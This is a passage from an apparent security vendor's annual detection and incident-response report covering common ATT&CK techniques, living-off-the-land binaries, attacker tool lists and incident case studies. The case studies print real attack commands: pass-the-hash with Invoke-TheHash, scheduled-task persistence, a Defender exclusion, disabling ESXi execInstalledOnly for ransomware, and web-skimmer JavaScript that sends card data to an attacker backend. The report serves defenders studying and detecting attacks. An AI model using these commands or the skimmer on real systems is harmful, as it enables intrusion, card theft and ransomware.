For tactics TA0002: Execution to TA0006: Credential Access, the endpoint sensor is the main detection mechanism. However, if attack tools with known network traffic patterns are used, these incidents can also be detected using IDS. Examples include the detection of network password brute force attempts (TA0006: Credential Access), and service remote exploitation attempts (TA0001: Initial Access).

Chapter VI

Adversary techniques and tools



Adversary techniques

According to MITRE ATT&CK official documentation¹⁴ it's impossible to cover all techniques by detection logic (Indicators of Attack or IoAs). But there's no practical need to do this, as in detection technology we need to strike a balance between detecting any attack and overloading the SOC team with false positives, and the higher the proportion of false positives, the higher the likelihood of missing a real incident. The reach of MDR telemetry allows the tracking of almost every attacker step and thus covers any MITRE technique, but for detection purposes we cover only those with a higher probability of being malicious.

Top detectable adversary techniques

The IoAs used in MDR are mapped to MITRE ATT&CK® techniques. To ensure detection quality, the detection engineering team evaluates the conversion and contribution¹⁵ of each IoA, enabling these metrics to be calculated for MITRE ATT&CK® techniques as well. The ten techniques with the highest conversion rates are listed below, and the heat map below shows the contribution of the observed techniques. The lower conversion rates are explained by the fact that in practice, due to the preventive security measures used, not all attempts by attackers to implement the identified techniques led to an actionable incident.

Figure 21 Techniques with the highest conversion

T1110.001: Password Guessing	34.8%	Although password guessing is efficiently detected by both network sensors and endpoint agents, the technique is still popular in both security assessment projects and actual attacks.
T1136.001: Local Account	34.7%	Creation of a local account is usually observed during security assessment exercises and is easily detected.
T1078: Valid Accounts	34.5%	Domain and local accounts are often used by attackers to bypass security solutions and gain persistence in compromised systems.
T1098: Account Manipulation	32.0%	Attackers usually manipulate legitimate accounts, activate disabled ones or change their group membership. T1098.007: Additional Local or Domain Groups technique is also pretty popular with a conversion rate of 28.8%.
T1046: Network Service Discovery	31.2%	Network service discovery is a common adversary technique applied before further exploitation attempts and lateral movement.
T1566.002: Spearphishing Link	28.7%	Phishing remains the most popular technique for gaining initial access. This continues the trend starting in 2023, and in 2025, popularity and conversion rates continued to rise.
T1021: Remote Services	26.0%	This is the second most popular lateral movement technique, frequently used in different types of incidents alongside T1078: Valid Accounts.
T1595: Active Scanning	25.8%	Observed mainly from outside the network perimeter — a typical reconnaissance tactic for all types of external attacks.
T1568: Dynamic Resolution	23.1%	A new technique to the list in 2025 is this command and control mechanism, typical of advanced human-driven attacks. All sub-techniques were also observed in real incidents with good conversion: T1568.002: Domain Generation Algorithms — 23.0%, T1568.001: Fast Flux DNS — 23%, T1568.003: DNS Calculation — 23%.
T1210: Exploitation of Remote Services (RCE)	20.2%	RCE exploit attempts are very common in incidents, both for gaining initial access and to facilitate lateral movement.

¹⁴ MITRE ATT&CK: Design and Philosophy, p.21 ATT&CK Coverage

¹⁵ **Conversion** is the ratio of alerts classified as true positives to the total number of alerts corresponding to a specific MITRE ATT&CK technique. **Contribution** is the ratio of incidents where a particular technique was observed to the total number of reported incidents.

Tools used in attacks

In the vast majority of cases, MDR blocks attacks in the early stages, preventing the incident from causing damage, while the Digital Forensics and Incident Response (DFIR) team typically intervenes after business losses have already become evident. For this reason, the list of popular utilities for MDR and for IR differs slightly. The other difference is that MDR mostly focuses on LotLbins, because malicious tools are pretty efficiently prevented by EPP – the main MDR telemetry source. DFIR focuses mainly on specialized adversary tools, but popular LotLbins are also mentioned. In this report both statistics are provided.

Attackers use built-in OS tools to minimize the risk of detection during their delivery to a compromised system.

Figure 22 The most popular LotL tools from MDR statistics

	All incidents	High-severity incidents
powershell.exe	2.0%	14.4%
rundll32.exe	0.6%	5.9%
mshta.exe	0.6%	3.8%
comsvcs.dll	0.2%	3.0%
msedge.exe	1.1%	2.7%
wscript.exe	0.5%	1.8%
mmc.exe	0.2%	1.7%
msiexec.exe	0.6%	1.5%
sc.exe	0.1%	1.4%
schtasks.exe	0.1%	1.4%
reg.exe	0.3%	1.2%

The most popular LOLBins observed in almost every incident are **powershell.exe** and **rundll32.exe**.

The popularity of **mshta.exe** is explained by the ongoing trend of using fake capture for malicious payload execution, an example of which was provided in our 2024 MDR report¹⁶.

Examples such as PowerShell.exe, rundll32.exe, reg.exe, comsvcs.dll, msiexec.exe were highlighted in our 2023 MDR report¹⁷.

wscript.exe is used to execute malicious payloads written in VB script¹⁸. Here's an example from an actual incident, relating to a human-driven attack:

```
"C:\Windows\System32\WScript.exe"
"C:\Users\██████████\AppData\Local\Temp\1██████9.vbs"
```

Or

```
"wscript.exe"
"C:\Users\██████████\AppData\Local\Temp\5██████5.vbs"
```

mmc.exe has become so popular in real attacks that it's present for the first time in this list. In all observed cases mmc was used by attackers on compromised endpoints, either for execution or for UAC bypass¹⁹. The straightforward execution chain from the compromised host is shown below:

```
(PID: 628) C:\Windows\system32\services.exe
└── (PID: 6296) C:\Windows\system32\ServerManagerLauncher.exe
    └── (PID: 5768) "C:\Windows\system32\mmc.exe" "C:\Windows\system32\ServerManager.msc"
```

¹⁶ [Kaspersky MDR analyst report for 2024](#)

¹⁷ [Kaspersky MDR analyst report for 2023](#)

¹⁸ [T1059.005: Visual Basic](#)

¹⁹ [T1218.014: MMC](#)

sc.exe is a standard utility used for Windows services management, and services are a popular technique for payload execution²⁰ and persistence²¹. Below is the track of an attacker's internal reconnaissance from a compromised host in an actual human-driven attack.

```
C:\Windows\System32\services.exe
-> C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
-> "powershell.exe" -NonInteractive -enc [BASE64]
-> "C:\Windows\system32\cmd.exe" /C whoami
-> "C:\Windows\system32\cmd.exe" /C tasklist /svc
-> "C:\Windows\system32\cmd.exe" /C netstat -ano
-> "C:\Windows\system32\cmd.exe" /C ping -n 1 8.8.8.8
-> "C:\Windows\system32\cmd.exe" /C c:\windows\temp\klnagentx.exe 103. [REDACTED].25:443
-> "C:\Windows\system32\cmd.exe" /C tasklist /svc
-> "C:\Windows\system32\cmd.exe" /C c:\windows\temp\klnagentx.exe -h
-> "C:\Windows\system32\cmd.exe" /C c:\windows\temp\klnagentx.exe -h
-> "C:\Windows\system32\cmd.exe" /C taskkill /f /im klnagentx.exe
-> "C:\Windows\system32\cmd.exe" /C token -H aa [REDACTED] 1404ee: [REDACTED]
448535c97b3fc9
-> "C:\Windows\system32\cmd.exe" /C sc.exe create MpKslad05f1ba type=kernel binpath=c:\windows\
System32\drivers\MpKslDrv.sys
-> "C:\Windows\system32\cmd.exe" /C sc.exe start MpKslad05f1ba
-> "C:\Windows\system32\cmd.exe" /C cd
-> "C:\Windows\system32\cmd.exe" /C netstat -ao
-> "C:\Windows\system32\cmd.exe" /C netstat -ano
-> "C:\Windows\system32\cmd.exe" /C sc.exe stop MpKslad05f1ba
-> "C:\Windows\system32\cmd.exe" /C sc.exe delete MpKslad05f1ba
-> "C:\Windows\system32\cmd.exe" /C del c:\windows\System32\drivers\MpKslDrv.sys
-> "C:\Windows\system32\cmd.exe" /C del c:\windows\System32\apids.dll
-> "C:\Windows\system32\cmd.exe" /C del c:\windows\System32\rsd.dat
-> "C:\Windows\system32\cmd.exe" /C klnagentx.exe roo.dat
-> "C:\Windows\system32\cmd.exe" /C taskkill /f /im klnagentx.exe
-> "C:\Windows\system32\cmd.exe" /C klnagentx.exe roo.dat
-> "C:\Windows\system32\cmd.exe" /C tasklist /svc
-> "C:\Windows\system32\cmd.exe" /C ping -c 1 [REDACTED].net
```

schtasks.exe is a common scenario for maintaining persistence in a compromised host²². Below is a schedule of an attacker's activities in an actual human-driven high-severity incident. To maintain remote access, the attacker schedules SSHd and OpenVPN executable, masquerading as Edge and Windows.

```
1. schtasks /create /tn "EdgeUpdateWinr" /tr "cmd /c c:\programdata\syc\sshd.exe" /sc hourly /ru SYSTEM
/f
```

```
Task path: C:\Windows\System32\Tasks\EdgeUpdateWinr,
Schedule task name: EdgeUpdateWinr
Registry path: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{D92 [REDACTED]
C7A4A}:Actions
Command: "cmd" /c c:\programdata\[REDACTED]\sshd.exe
```

```
2. schtasks /create /tn "WindowsAutoTask" /tr "\"C:\Program Files\OpenVPN\bin\openvpn.exe\" -config \"C:\
ProgramData\[REDACTED]\ak.ovpn\"" /sc onstart /ru SYSTEM /f
```

```
Task path: C:\Windows\System32\Tasks\WindowsAutoTask
Schedule task name: WindowsAutoTask
Registry path: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{F8 [REDACTED]
1A9}:Actions
Command: schtasks /create /tn "WindowsAutoTask" /tr "\"C:\Program Files\OpenVPN\bin\openvpn.exe\"
-config \"C:\ProgramData\[REDACTED]\ak.ovpn\"" /sc onstart /ru SYSTEM /f
```

20 T1569.002: Service Execution


21 T1543.003: Windows Service

22 T1053.005: Scheduled Task

Adversaries' tools from IR statistics

In nearly every investigation, adversaries are found to use legitimate tools at some stage of their attack. While many attacker groups have their own sets of tools – which then can be used to identify them – widely-used tools such as Mimikatz or PsExec can be used by almost any attacker for password extraction and lateral movement during post-exploitation.

Figure 23 Distribution and frequency of tools used in incidents



Attackers most commonly use a range of utilities for remote control, evading defenses and exploring the victim's infrastructure. Different types of specific and common public software are used at all stages of the attack. The table below shows the frequency of usage of these tools at different stages, mapped to MITRE tactics.

Collection	1.0%	S3 Browser, SharpHound.exe
Command and control	13.0%	AnyDesk, Gost, SSH, GS-Netcat, CobInt, TeamViewer, Vasilek, PartisanDNS, ReSocks, PuTTY, MicroBackdoor, Potato, mRemoteNG, Sliver
Credential access	19.3%	Mimikatz, PwdCrack, Invoke-Hagrid.ps1, LaZagne, SharpLAPS.exe, Rubeus.exe, PowerShellKerberos, SharpVeeamDecryptor, ClipBanker Infostealer, LogKeys, NativeDump, Veeam-Get-Creds.ps1, AdaptixC2, TJProjMain
Defense evasion	12.0%	LocalToNet, Chisel, Neo-ReGeorg, NLBrute, 3Proxy, ProcessHacker, DefStop, DControl, AV-Terminator, PPLBlade.sys, SelectMyParent.exe, ProxyChains, Ligolo-NG, RevSocks, PurpleFox Rootkit, PC Hunter
Discovery	17.7%	FScan, ADRecon, Advanced IP Scanner, SoftPerfect Network Scanner, NetScan.exe, LinPEAS, Advanced Port Scanner, Dnscat2, Nmap, NTScan, Everything, GeckoShell
Execution	20.3%	PowerShell, PsExec, SMBExec, WebShell, WMIExec, PHP WebShell, Invoke-WMIExec, ATExec, WSO WebShell, Mesh Agent, Alfa WebShell, NSSM, RemCom
Exfiltration	1.6%	MEGAsync.exe, Rclone
Impact	5.2%	LockBit3, Babuk, Conti, DiskCryptor
Lateral movement	8.9%	Impacket, Cobalt Strike, Metasploit, NXC
Privilege escalation	1.0%	NoPac.exe, Invoke-SamSpoofing.ps1

Techniques and tools used by adversaries in actual cases

Case study 1 Initial access via valid credentials, hash extraction using Mimikatz and lateral movement via the Invoke-TheHash suite to deploy MedusaLocker.

ID: T1550.002
Tactic: Lateral Movement

In an incident response case in Brazil, we spotted the use of valid credentials for initial access in an SMTP server. After that, the attackers were able to dump password hashes using Mimikatz and perform pass-the-hash by using the Invoke-TheHash suite.


Commands used:

```
Import-Module ./Invoke-TheHash.psd1

Invoke-WMIExec -Target "<IP>" -Domain "<DOMAIN>" -Username "<USER>" -Hash "<HASH>" -Command "net user User1 Password1! /ad" -verbose

Invoke-SMBExec -Target "<IP>" -Domain "<DOMAIN>" -Username "<USER>" -Hash "<HASH>" -Command "net user User2 Password1! /ad" -verbose

Invoke-SMBExec -Target "<IP>" -Domain "<DOMAIN>" -Username "<USER>" -Hash "<HASH>" -Command "net localgroup Administrators User1 /ad" -verbose
```



The attacker's objective was achieved by disabling the AV in place on various endpoints using CVE-2025-7771 (discovered by our team in the ThrottleStop driver) and executing a variant of MedusaLocker.

Malicious Scheduled Task (example)

```
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Date>2025-06-19T08:36:48</Date>
    <Author>REDACTED</Author>
    <URI>\DefenderUpdatefor</URI>
  </RegistrationInfo>
  <Principals>
    <Principal id="Author">
      <UserId>S-1-5-18</UserId>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
    <Enabled>false</Enabled>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <IdleSettings>
      <Duration>PT10M</Duration>
      <WaitTimeout>PT1H</WaitTimeout>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
  </Settings>
  <Triggers>
    <TimeTrigger>
      <StartBoundary>2025-06-19T12:30:00</StartBoundary>
    </TimeTrigger>
  </Triggers>
  <Actions Context="Author">
    <Exec>
      <Command>cmd</Command>
      <Arguments>c "cd /d C:\users\public && start "" "C:\users\public\Mpdefender.exe""</Arguments>
    </Exec>
  </Actions>
</Task>
```

CALIBRE EBOOK

Use of Calibre ebook legitimate binary (MD5 **974666c57a6b54f333881cbb4d5075f9**) to sideload malicious backdoor and scheduled tasks:

c:\inetpub\calibre.
exe

c:\inetpub\history\
ca.exe

c:\program files
(x86)\windows
defender\calibre.exe

c:\inetpub\history\
calibre-launcher.dll

Sideloaded malicious **calibre-launcher.dll** (MD5 **7c6f83f4aaa783ebaaa2d6f64930f597**) — an AdaptixC2 backdoor.

POWERSHELL & IMPERSONATE TOOL

Execution of PowerShell script to run **impersonate.exe** binary

```
powershell -nop -exec bypass -EncodedCommand
QQBkAGQALQBNAHAUABYAGUAZgBLAHIAZQBAGMAZQAAC0ARQB4AGMABAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6ACIA
Add-MpPreference -ExclusionPath "C:"
.\Impersonate.exe
.\Impersonate.exe list
.\Impersonate.exe exec 30 ipconfig
.\Impersonate.exe exec 30 "net user /domain>1.txt"
.\Impersonate.exe exec 30 cmd
.\Impersonate.exe exec 30 cmd /k whoami
.\Impersonate.exe exec 30 cmd
```


[Case study 3]

Use of timestomping anti-forensic technique to evade detection and abuse of Windows HTTP.sys URL reservations for stealthy command and control

ID: T1070.006

Tactic: Defense Evasion

In a DFIR investigation related to an advanced persistent threat targeting the telecommunications sector, we observed the systematic use of **timestomping** to evade detection and disrupt forensic analysis. After gaining initial access and establishing persistence, the attacker deliberately manipulated file system timestamps to conceal malicious activity and blend attacker-created artifacts with legitimate system files.

Timestomping was used to modify file creation, modification, and access timestamps so that malicious binaries, scripts, and persistence-related files appeared to be consistent with the operating system installation timeline or legitimate application activity. This significantly reduced the effectiveness of timeline-based forensic analysis and delayed detection in large-scale telecom environments with high file and log volumes.

The activity was identified across multiple compromised endpoints, including servers hosting telecom-related services and internal management systems. Timestamp manipulation was primarily observed during the post-exploitation stages, particularly after payload deployment and prior to lateral movement, indicating deliberate operational security measures on the part of the attacker.

ID: T1071.001


Application Layer

Protocol: Web Protocols

During the investigation, we identified the abuse of Windows HTTP.sys URL reservations as a stealthy command-and-control and listener registration technique. Multiple samples registered URL prefixes using the **http://+<port>/** pattern, including the default **http://+80/Temporary_Listen_Addresses/**, which is a standard Windows Communication Foundation (WCF) reservation that allows any user to receive HTTP messages. Additional prefixes were configured on commonly exposed service ports such as 80, 443, and 444, deliberately mimicking legitimate Exchange and IIS endpoints, including paths resembling Autodiscover and Exchange Web Services. By registering these URL prefixes directly with HTTP.sys, the malware was able to receive inbound HTTP requests at kernel level without binding to a traditional socket or interfering with the existing IIS service.

The use of a **strong wildcard host identifier (+)** enabled the listener to accept requests addressed to any hostname or IP value, regardless of the Host header, allowing the malware to operate transparently alongside legitimate web services. In several cases, tailor-made configurations introduced additional URL paths containing random dictionary words appended to existing web folders, ensuring that malicious traffic blended seamlessly into normal application traffic patterns.

This approach leverages the Windows HTTP stack's port-sharing mechanism, introduced in Windows Server 2003, where HTTP.sys routes requests to the appropriate user-mode process based on registered URL prefixes. By abusing this architecture through the HTTP Server API or .NET's HttpListener interface, the attacker avoided direct interaction with IIS worker processes, reduced observable indicators and significantly complicated network- and host-based detection efforts.



Commands and APIs used by the threat actor.

1 URL Prefix Registration via HTTP.sys

The framework registers URL prefixes directly with the Windows HTTP stack to receive traffic without binding a traditional socket.

Underlying API usage (not CLI-based):

- HttpAddUrl
- HttpSetServiceConfiguration
- HttpCreateHttpRequest
- HttpReceiveHttpRequest

These APIs allow the malware to register prefixes such as:

```
http://+:80/Temporary_Listen_Addresses/  
https://+:443/autodiscover/autodiscover/  
https://+:443/ews/exchanges/  
https://+:444/ews/ews/
```

This enables kernel-level request interception via **HTTP.sys**, bypassing IIS logging.

2 Abuse of .NET HttpListener (Wrapper over HTTP Server API)

Many framework samples rely on the **.NET HttpListener class**, which internally wraps the Windows HTTP Server API.

Observed behavior:

```
HttpListener listener = new HttpListener();  
listener.Prefixes.Add("https://+:443/autodiscover/autodiscover/");  
listener.Start();
```

This allows:

- Port sharing with IIS
- Stealthy inbound C2 over HTTPS

Case study 4

BlackNevas ransomware abusing network misconfigurations to jump from virtual systems to physical environments

In order to install BlackNevas ransomware, attackers breached an entire virtual environment. To gain complete control and enable several tools for persistence, the attacker first located a server in a virtual infrastructure that was vulnerable. Following their strategy of making a greater impact, the attacker continued to examine the infrastructure after deploying a Windows version of the ransomware into the infected systems.

To enhance the assault, the attacker scanned entire segments and discovered a virtualized PRTG system. Regretfully, the organization gave the virtualized PRTG system full access and privileges, enabling it to monitor both virtual and physical systems, so that an attacker could move between virtual and physical environments, and ultimately compromise all virtual systems after gaining access to the ESXi systems in the corporate infrastructure.

ID: T1078.002
Valid Accounts:
Domain Accounts

Attackers were able to access vital systems throughout the entire environment by obtaining legitimate accounts and identifying recurring passwords.

ID: T1021.001 and T1021.004
Remote Services: Remote Desktop Protocol and SSH

Internal lateral movement was made possible by manipulating the RDP and SSH protocols, which gave attackers the ability to switch between systems and intensify their attack.

ID: T1059.004
Command and Scripting Interpreter: Unix Shell

Attackers used the ESXi command to disable the systems' security measures, which made it possible to run an ELF program that encrypted the VMDK files and produced padding files to make the data carving process more difficult.

Timeline of execution:

Binary attributes were modified and the binary was executed:

```
[root]: chmod a+x esx
[root]: chmod 777 esx
[root]: ./esx /log
```

According to system logs, the binary was not executed due to a system restriction.

```
[vob.uw.exec.installonly.violation] Execution of non-installed file prevented: ./esx
[esx.audit.uw.security.execInstalledOnly.violation] Execution of non-installed file prevented: ./esx
```

Attacker used the esxcli command to disable the execInstalledOnly policy:


```
[root]: esxcli system settings advanced set -o /User/execInstalledOnly -i 0
```

The system registers a warning which alerts about the disabled policy:

```
WARNING: ... ExecInstalledOnly has been disabled. This allows the execution of non-installed binaries on the host. Unknown content can cause malware attacks similar to Ransomware.
```

Finally, the execution of the ransomware is allowed and registered as a warning:

```
[vob.uw.exec.installonly.warning] Execution of non-installed file: ./esx
```



Case study 5 A web skimmer masquerading as a legitimate JavaScript

A new web skimmer was found embedded in a genuine JQuery script during a financial crime investigation. The malicious script carried out a series of client-side actions to copy, encrypt, and exfiltrate the data to an attacker-controlled domain once legitimate users attempted to complete a transaction.

ID: T1048.002

Exfiltration Over Alternative Protocol — Exfiltration Over Asymmetric Encrypted Non-C2 Protocol

Encrypted communications to gather and steal data related to financial activities. The attacker created a script that used RSA to steal cardholder data — after the user enrolled, the altered script would exploit this feature to send a copy to a particular domain under the threat actors' control:

The information was collected and sent using a POST method:

```
const _x = {
  'RSA_PUBLIC_KEY': "--BEGIN PUBLIC KEY--\...<edited>...--END PUBLIC KEY--",
  'BACKEND_URL': atob("...<edited>...")
}
...
const _y = async _y => {
  try {
    const _z = await fetch(_xxx.BACKEND_URL, {
      'method': "POST",
      'headers': {
        'Content-Type': "application/json"
      },
      'body': JSON.stringify({
        'encrypted_data': _a
      })
    })
  }
};
```

ID: T1560.003

Archive Collected Data:
Archive via Custom Method

Once the user has registered the details for the transaction, the data is collected and encrypted before being sent to a domain under the control of the threat actors. The script waits for a mouse event in order to copy the card information from the client side after it's been registered during the transaction.

```
_b.addEventListener("mouseenter", async () => {
  try {
    const _d = {
      'card_number': document.getElementById("card_number").value || "",
      'expiry_date': document.getElementById("expire_date").value || "",
      'cvv': document.getElementById("card_cvv").value || "",
    };
  }
};
```

To evade monitoring connections, the data was encrypted using RSA and transferred to a domain codified into the script:

```
const _zz = new JSEncrypt();
_zz.setPublicKey(...)
```

ID: T1036.005

Masquerading: Match
Legitimate Resource Name
or Location

Because of the attackers' use of a valid jQuery script to include malicious features, the organization was unable to identify the malicious material using file naming analysis alone. For immutable material in web services, file integrity monitoring techniques were proposed.

[Case study 6]

Stealthy in-memory backdoor injection into critical processes
(Winlogon.exe and WerFault.exe)

ID: T1068, T1055, T1620

Tactic: Privilege Escalation,
Defense Evasion, Persistence,
Command and Control

Our investigation identified stealthy **process injection** into critical Windows processes — including **Winlogon.exe** and **WerFault.exe** — in order to establish resilient and covert access to compromised systems. All observed deployments were limited to **IIS servers**, indicating the deliberate targeting of internet-facing infrastructure.

Execution Flow and Behavior

The threat actor injected an **embedded shellcode payload** directly into the memory space of selected SYSTEM-level processes. The shellcode was assessed to be generated using the **Donut framework**, enabling position-independent execution and the in-memory loading of encrypted **.NET assemblies** without writing artifacts to disk.

The injected shellcode decrypted and executed a secondary .NET payload that was heavily obfuscated using a commercial obfuscator in addition to extensive class, method, and string obfuscation. Functionally, the payload combined the capabilities of the **SDD backdoor** and the **FOXSHELL proxy**, providing command execution, traffic proxying, and covert command-and-control functionality.

The primary objective of the injected shellcode was to establish **stealthy command and control** by registering multiple **HTTP.sys URL prefixes** using **ServerManager** and **HttpListener**. This enabled the malware to receive inbound HTTP/S traffic while blending seamlessly into legitimate IIS and Exchange service activity, significantly reducing detection visibility.

The injected Payloads

[1] In-Memory .NET TCP Tunneling Implant (tcp_server.exe)

ID: T1090, T1071.001

Tactic: Command and
Control, Defense Evasion

During the investigation, an additional **in-memory .NET implant**, tracked as **tcp_server.exe**, was identified. The sample was extracted from a **memory dump of the WerFault.exe process**, indicating deliberate execution under a trusted Windows error-reporting process to evade detection. The implant was designed to function as a **TCP tunneling proxy**, enabling the attacker to relay arbitrary TCP traffic through HTTP/S channels.

The malware registered HTTP listeners on ports **80** and **443**, using URL paths that mimic legitimate service endpoints. These listeners allowed the implant to receive inbound requests and forward traffic to attacker-specified TCP destinations, effectively acting as a covert relay mechanism.

Communication and Protocol Handling

The implant listened in on the following endpoints:

```
https://*:443/DELAY_SRV/  
http://*:80/DELAYS_SRV/
```


Configuration data was delivered via an HTTP cookie named `user_token_api`. The cookie value contained a **Base64-encoded configuration blob** which, once decoded, specified the destination IP address and TCP port for the tunneled connection.

The implant supported multiple request types, controlled through a request parameter:

- **c**: establish a TCP socket connection
- **w**: write incoming HTTP request data to the TCP socket
- **r**: read data from the TCP socket and return it in the HTTP response

This design enabled full bidirectional tunneling of TCP traffic over HTTP/S, allowing attackers to proxy communications to internal or external systems while blending into normal web traffic patterns.

Observations

Although the sample contained an XOR-based obfuscation function, it was not actively used during execution, suggesting either a dormant feature or a shared codebase with other tooling. The exclusive in-memory execution, combined with HTTP-based tunneling and execution under a legitimate Windows process, significantly reduced forensic artifacts and complicated detection.

2 In-Memory SSH and SFTP Control Implant (SSH_client.exe)

ID: T1021.004, T1105, T1055
Tactic: Lateral Movement,
Command and Control,
Defense Evasion

A second in-memory .NET implant, identified as `SSH_client.exe`, was recovered from the **memory of the WerFault.exe process** alongside the TCP tunneling component. This implant provided the attacker with **interactive SSH access and file transfer capabilities**, enabling remote command execution, file upload and file exfiltration over SSH and SFTP protocols.

The implant initiated execution by creating a global mutex to enforce single-instance execution and then connected to a named pipe used as its primary tasking and control channel. Task parameters were delivered via the named pipe, allowing dynamic control over the implant's behavior without requiring redeployment.

Functional Capabilities

The implant supported multiple task types, including:

- **SpawnShell**: establish an interactive SSH shell session
- **Upload**: upload files to a remote system using SFTP
- **Download**: download files from a remote system using SFTP
- **Ls**: list files and directories on a remote system via SSH

For interactive shell operations, the implant created a dedicated thread that monitored an auxiliary named pipe for control signals. Upon termination or task completion, the implant performed cleanup operations, closing SSH sessions, named pipe handle and associated streams to minimize residual artifacts.

Internal Architecture

Supporting classes handled task status reporting and SSH/SFTP session management, including authentication handling for both password-based and private key-based access. The use of named pipes for tasking and control allowed the implant to operate independently of traditional network-based command-and-control channels once initial parameters were delivered.



Impact and Observations

The combination of **in-memory execution**, **legitimate protocol abuse**, and **process masquerading** enabled the attacker to perform lateral movement and data transfer operations with minimal visibility. By leveraging standard SSH and SFTP protocols, the implant blended malicious activity into expected administrative traffic, particularly in environments where SSH access is routinely used for management and maintenance.

Overall Assessment

The discovery of both implants, alongside LIONTAIL and this kind of memory injection, highlights a **layered and modular attack architecture**, where specialized components are deployed to provide tunneling, remote access, and file transfer capabilities as needed. This modular approach allowed the attacker to adapt operations dynamically while maintaining a low forensic footprint across compromised telecom and infrastructure systems.

Frequently triggered MDR detection rules

In 2025, MDR detected 1,122 unique scenarios with non-zero conversions. In this section, we'll look at the most frequently triggered scenarios, which together account for over 34% of all detections, and analyze their contributions based on incident severity.

Detection scenario	Comments	Required telemetry and enrichment	Contribution by severity and overall
Launch of object with bad reputation ²³	Any scenario of launching a file, command script or opening an office document with a bad reputation	Any telemetry event containing the process that initiates the event Reputation of the file\script\office document	- High: 9.9% - Medium: 4.8% - Low: 0.7% Overall: 3.8%
URL with bad reputation found in command line	Command lines are extracted from all telemetry events and checked for reputation	Any telemetry event containing a command line Reputation of the URL	- High: 8.0% - Medium: 4.7% - Low: 0.7% Overall: 3.7%
Network access to malicious host	Remote host from any connection event is checked for reputation	Network access, HTTP access Reputation of remote host or IP	- High: 6.7% - Medium: 4.1% - Low: 5.1% Overall: 4.5%
EPP detection on system process	Detections on legitimate processes that are part of the operating system	Any telemetry event containing an EPP verdict	- High: 10.2% - Medium: 1.4% - Low: 0.2% Overall: 1.3%
APT-related detection	Detections on a known APT campaign	EPP detection List of APT-related detects	- High: 4.2% - Medium: 1.5% - Low: 0.9% Overall: 1.4%
Malicious mail attachment	Detection on an email attachment, including detection of suspicious activity	Email received telemetry EPP detection	- High: 2.4% - Medium: 3.8% - Low: 1.2% Overall: 3.0%
Use of Impacket ²⁴ smb client	Multiple connections from one IP address with Impacket smb client	EPP IDS component detection on network traffic	- High: 1.2% - Medium: 1.5% - Low: 0.1% Overall: 1.1%
Sandbox detection	Triggering of the sandbox as part of KATA detection. There's no exact EPP verdict for the suspicious object	Sandbox verdict EPP verdict for the object	- Medium: 10.1% - Low: 0.3% Overall: 7.2%
IDS detection	Network IDS as part of KATA detection	Verdict of KATA IDS	- High: 0.2% - Medium: 7.1% - Low: 0.3% Overall: 5.0%
Suspicious traffic from host	Network IDS as part of KATA detection	Verdict of KATA IDS on suspicious traffic or traffic from known adversary tool	- High: 0.2% - Medium: 4.3% - Low: 0.8% Overall: 3.2%

²³ [Kaspersky Scan Engine](#)

²⁴ [Github. Impacket](#)

Heatmap of techniques

TA0001: Initial Access

TA0002: Execution

TA0003: Persistence

TA0004: Privilege Escalation

TA0005: Defense Evasion

TA0006: Credential Access

TA0007: Discovery



TA0008: Lateral Movement	TA0009: Collection	TA0010: Exfiltration	TA0011: Command and Control	TA0040: Impact	TA0042: Resource Development	TA0043: Reconnaissance
T1021: Remote Services	T1056: Input Capture	T1567: Exfiltration Over Web Service	T1568: Dynamic Resolution	T1561: Disk Wipe	T1608: Stage Capabilities	T1595: Active Scanning
T1210: Exploitation of Remote Services	T1560: Archive Collected Data	T1041: Exfiltration Over C2 Channel	T1071: Application Layer Protocol	T1565: Data Manipulation	T1588: Obtain Capabilities	T1590: Gather Victim Network Information
T1091: Replication Through Removable Media	T1005: Data from Local System	T1048: Exfiltration Over Alternative Protocol	T1572: Protocol Tunneling	T1496: Resource Hijacking	T1587: Develop Capabilities	T1598: Phishing for Information
T1534: Internal Spearphishing	T1114: Email Collection	T1011: Exfiltration Over Other Network Medium	T1105: Ingress Tool Transfer	T1486: Data Encrypted for Impact	T1583: Acquire Infrastructure	T1589: Gather Victim Identity Information
T1570: Lateral Tool Transfer	T1115: Clipboard Data	T1020: Automated Exfiltration	T1090: Proxy	T1485: Data Destruction	T1584: Compromise Infrastructure	T1593: Search Open Websites/Domains
T1563: Remote Service Session Hijacking	T1113: Screen Capture	T1030: Data Transfer Size Limits	T1219: Remote Access Tools	T1499: Endpoint Denial of Service	T1585: Establish Accounts	T1596: Search Open Technical Databases
	T1125: Video Capture	T1052: Exfiltration Over Physical Medium	T1095: Non-Application Layer Protocol	T1531: Account Access Removal		
	T1074: Data Staged		T1102: Web Service	T1489: Service Stop		
	T1119: Automated Collection		T1573: Encrypted Channel	T1498: Network Denial of Service		
	T1039: Data from Network Shared Drive		T1092: Communication Through Removable Media	T1491: Defacement		
	T1025: Data from Removable Media		T1001: Data Obfuscation			
	T1123: Audio Capture		T1571: Non-Standard Port			
	T1213: Data from Information Repositories		T1665: Hide Infrastructure			
	T1530: Data from Cloud Storage		T1132: Data Encoding			



Chapter VII

SOC detection effectiveness



SOC detection effectiveness

We provide customers with services to assess the effectiveness of their SOC, helping identify issues and defining options for optimization. There are several methods for evaluating SOC technical capabilities, and here we would like to highlight the most common reasons why detection pipelines fail.

In our assessment projects, we primarily use two methodologies:




Technical Assessment (mainly SIEM, EDR, or XDR solutions) — we analyze current event flows, rule configurations and overall detection logic.



Attack Emulation — we simulate attack techniques within the customer's environment and assess which of these are successfully detected by the SOC.

The distribution of types of consulting projects in 2025 is shown below. The projects most frequently undertaken were SOC Technical Assessment (23% of all projects), SOC Framework Development (20%), SOC Maturity Assessment and SIEM Quality Assurance (both 12%).



Despite the differences between these approaches, both technical assessment and attack emulation methodologies allow us to identify weaknesses in any stage of the SOC detection pipeline.


System >> Telemetry >> Enrichment >> Detection Engine

